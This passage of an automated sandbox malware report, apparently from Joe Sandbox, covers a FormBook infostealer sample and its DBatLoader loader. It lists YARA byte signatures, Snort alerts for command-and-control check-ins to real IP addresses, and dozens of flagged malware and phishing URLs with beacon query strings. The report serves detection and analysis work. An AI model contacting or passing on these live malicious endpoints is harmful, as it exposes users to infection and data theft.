0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000C.00000002.2614057783.00000000046A0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.4614921342.0000000000B60000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.2388135598.00000000068B0000.00000040.00000400.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000D.00000002.2617984530.0000000004D10000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: Fpopgapwdcgvxn.exe PID: 2268	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: Fpopgapwdcgvxn.exe PID: 2268	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x25cfc4:$a1: 3C 30 50 4F 53 54 74 09 40 0x2973c4:$a1: 3C 30 50 4F 53 54 74 09 40 0x2ca2d8:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: colorcpl.exe PID: 5112	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xfd6d6:$a1: 3C 30 50 4F 53 54 74 09 40 0x17190a:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: explorer.exe PID: 4004	ironshell_php	Semi-Auto-generated - file ironshell.php.txt	Neo23x0 Yara BRG + customization by Stefan -dfate- Molls	0x185bd4:$s2: ~ Shell I 0x27ce28:$s2: ~ Shell I
Process Memory Space: rundll32.exe PID: 6708	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x69e33:$a1: 3C 30 50 4F 53 54 74 09 40 0xa2b61:$a1: 3C 30 50 4F 53 54 74 09 40 0x119f3f:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: colorcpl.exe PID: 6928	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xc6cbb:$a1: 3C 30 50 4F 53 54 74 09 40 0xc7e2c:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: chkdsk.exe PID: 6856	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x16354f:$a1: 3C 30 50 4F 53 54 74 09 40
Click to see the 67 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.colorcpl.exe.68b0000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.colorcpl.exe.68b0000.1.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
3.2.colorcpl.exe.68b0000.1.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
3.2.colorcpl.exe.68b0000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.colorcpl.exe.68b0000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
12.2.colorcpl.exe.65f0000.1.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
12.2.colorcpl.exe.65f0000.1.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
12.2.colorcpl.exe.65f0000.1.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
12.2.colorcpl.exe.65f0000.1.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
12.2.colorcpl.exe.65f0000.1.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
3.2.colorcpl.exe.68b0000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
3.2.colorcpl.exe.68b0000.1.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
3.2.colorcpl.exe.68b0000.1.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
3.2.colorcpl.exe.68b0000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.colorcpl.exe.68b0000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.Fpopgapwdcgvxn.exe.14d50000.4.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0.2.Fpopgapwdcgvxn.exe.14d50000.4.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
12.2.colorcpl.exe.65f0000.1.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
12.2.colorcpl.exe.65f0000.1.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
12.2.colorcpl.exe.65f0000.1.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
12.2.colorcpl.exe.65f0000.1.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
12.2.colorcpl.exe.65f0000.1.raw.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
0.2.Fpopgapwdcgvxn.exe.31a77bc.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
9.2.Telragab.PIF.313bc90.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.0.Fpopgapwdcgvxn.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.Fpopgapwdcgvxn.exe.32b0000.3.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 29 entries

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 3.33.130.190

Timestamp:	192.168.2.63.33.130.19049750802031412 11/30/23-14:58:44.521868
SID:	2031412
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 104.247.81.50

Timestamp:	192.168.2.6104.247.81.5049751802031412 11/30/23-14:59:05.034219
SID:	2031412
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 104.140.89.24

Timestamp:	192.168.2.6104.140.89.2449749802031412 11/30/23-14:58:24.506470
SID:	2031412
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 62.72.50.88

Timestamp:	192.168.2.662.72.50.8849753802031412 11/30/23-14:59:45.996751
SID:	2031412
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 34.93.103.39

Timestamp:	192.168.2.634.93.103.3949748802031412 11/30/23-14:58:03.063025
SID:	2031412
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 37.97.254.27

Timestamp:	192.168.2.637.97.254.2749752802031412 11/30/23-14:59:25.599111
SID:	2031412
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.6 - Destination IP: 3.33.130.190

Timestamp:	192.168.2.63.33.130.19049747802031412 11/30/23-14:57:23.481544
SID:	2031412
Source Port:	49747
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://www.harmonicod.com/ao65/	Avira URL Cloud: Label: malware
Source: http://www.canwealljustagree.com/ao65/	Avira URL Cloud: Label: malware
Source: http://www.ecofare.xyz/ao65/	Avira URL Cloud: Label: phishing
Source: http://www.kermisbedrijfkramer.online/ao65/www.stellarskyline.com	Avira URL Cloud: Label: malware
Source: http://www.optimusvisionlb.com/ao65/	Avira URL Cloud: Label: malware
Source: http://www.kermisbedrijfkramer.online	Avira URL Cloud: Label: phishing
Source: http://www.sprockettrucking.com/ao65/www.leathfortexas.com	Avira URL Cloud: Label: malware
Source: http://www.kermisbedrijfkramer.online/ao65/?3f94p=Y9yn8u0REY9c1IpGc1acQeiywl67Bz4kR9nr06rl/WLBU1XMoiFOUgbvS2/Y+YwQBdR3MSzENA==&ojq4i=mFNh5n78I22D3DgP	Avira URL Cloud: Label: malware
Source: http://www.stellarskyline.com/ao65/?3f94p=VAHOj8ipz1NvM3cWmHPyRmFT7dV4XaBrhkZucwTvHTdt+uk8nfyPBl3lilEqIH7Lfnspwggtew==&ojq4i=mFNh5n78I22D3DgP	Avira URL Cloud: Label: malware
Source: http://www.1techtrendzstore.com/ao65/www.kuis-raja-borong.website	Avira URL Cloud: Label: malware
Source: http://www.hivaom.top/ao65/www.canwealljustagree.com	Avira URL Cloud: Label: phishing
Source: http://www.ouxodb001.cfd/ao65/www.optimusvisionlb.com	Avira URL Cloud: Label: malware
Source: http://www.1techtrendzstore.com/ao65/	Avira URL Cloud: Label: malware
Source: http://www.maltsky.net/ao65/?3f94p=U+zAKk5GFPF9sXmyHB7CBujsr49+ry/l09LFQEQGSX0L4+hNQ2paLAM2kd/yuXu6AcnnHpW1KQ==&ojq4i=mFNh5n78I22D3DgP	Avira URL Cloud: Label: malware
Source: http://www.optimusvisionlb.com/ao65/www.maltsky.net	Avira URL Cloud: Label: malware
Source: www.hivaom.top/ao65/	Avira URL Cloud: Label: phishing
Source: http://www.optimusvisionlb.com/ao65/?3f94p=Olh8eEjR5IT46fH2PeVd1Lc15fw8Z1PVOirT2eqb4t/bi7TTuO6yJGtOPy5w7PRh9e2z8DbdcQ==&ojq4i=mFNh5n78I22D3DgP	Avira URL Cloud: Label: malware
Source: http://www.stellarskyline.com/ao65/www.hivaom.top	Avira URL Cloud: Label: malware
Source: http://www.leathfortexas.com/ao65/	Avira URL Cloud: Label: malware
Source: http://www.hivaom.top/ao65/?3f94p=B3GcozZs3ohtof+Eq3ZwUrCdoNWOjNCPbyllHAjlOtmwH5sozkgIB7xqH4//btWoobo3GMsY9g==&ojq4i=mFNh5n78I22D3DgP	Avira URL Cloud: Label: phishing
Source: http://www.kermisbedrijfkramer.online/ao65/	Avira URL Cloud: Label: malware
Source: http://www.kuis-raja-borong.website/ao65/	Avira URL Cloud: Label: malware
Source: http://www.hivaom.top/ao65/	Avira URL Cloud: Label: phishing
Source: http://www.kuis-raja-borong.website/ao65/www.oaistetic.com	Avira URL Cloud: Label: malware
Source: http://www.harmonicod.com/ao65/?3f94p=SIOjWgUx9Sz9T19JihLVHEMNoaK2maww+N41rkYkWun2OwaoSexibxzMqiX45PItRVwWmDJ2nA==&ojq4i=mFNh5n78I22D3DgP	Avira URL Cloud: Label: malware
Source: http://www.sprockettrucking.com/ao65/	Avira URL Cloud: Label: malware
Source: http://www.canwealljustagree.com	Avira URL Cloud: Label: malware
Source: http://www.maltsky.net/ao65/www.thnkotb.com	Avira URL Cloud: Label: malware
Source: http://www.ecofare.xyz/ao65/www.iokgw1.top	Avira URL Cloud: Label: phishing
Source: http://www.oaistetic.com/ao65/	Avira URL Cloud: Label: malware
